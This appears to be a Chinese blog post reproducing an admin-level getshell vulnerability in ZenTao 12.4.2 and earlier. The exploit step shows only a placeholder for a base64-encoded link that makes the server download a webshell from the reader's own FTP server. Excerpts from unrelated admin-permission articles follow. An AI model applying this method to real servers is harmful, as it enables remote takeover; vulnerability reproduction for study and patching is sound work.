禪道12 4 2後台管理員許可權Getshell復現

2022-08-02 19:03:10 字數 874 閱讀 1927

簡介

禪道是第一款國產的開源專案管理軟體,她的核心管理思想基於敏捷方法scrum,內建了產品管理和專案管理,同時又根據國內研發現狀補充了測試管理、計畫管理、發布管理、文件管理、事務管理等功能,在乙個軟體中就可以將軟體研發中的需求、任務、bug、用例、計畫、發布等要素有序的跟蹤管理起來,完整地覆蓋了專案管理的核心流程。

影響版本

禪道≤ 12.4.2

環境搭建

環境:phpstudy+禪道12.4.2

原始碼安裝

這裡有一項不通過,需要修改配置。在phpstudy裡面的php擴充套件及設定修改。

安裝成功

漏洞復現

exp:

<base64 encode webshell download link>-1.html

<download link filename>

這裡需要自己開啟乙個ftp服務,然後把鏈結的base64位編碼和自己的路徑替換一下。

<base64 encode webshell download link>-1.html

後台管理員的許可權管理實現

需求 在乙個前後端分離的專案裡,實現對於 系統管理員 類使用者的許可權管理功能。每個管理員都可以屬於乙個或者多個角色 每個角色有許可權進行乙個或者多個操作。設計 許可權控制分成兩層,分別是介面訪問許可權,和操作許可權。介面訪問許可權,通過乙個切片來實現。比如普通使用者不能訪問管理員介面。資料庫中設計...

ecshop 後台新增最高許可權管理員

1.直接在資料庫新增管理員賬號 密碼資訊,action list必須為all 2.防止新增的最高許可權管理員被自帶的admin修改和刪除 1 不能刪除 修改privilege.php的elseif request act remove 大約1370行,id為1的不允許刪除 if id 1 id 5 ...

php後台管理員許可權相關表結構

admin 管理員表 id int 11 使用者id username varchar 128 使用者名稱 password varchar 128 管理員密碼 name varchar 50 管理員真實姓名 email varchar 128 管理員郵箱 login time int 11 登入時...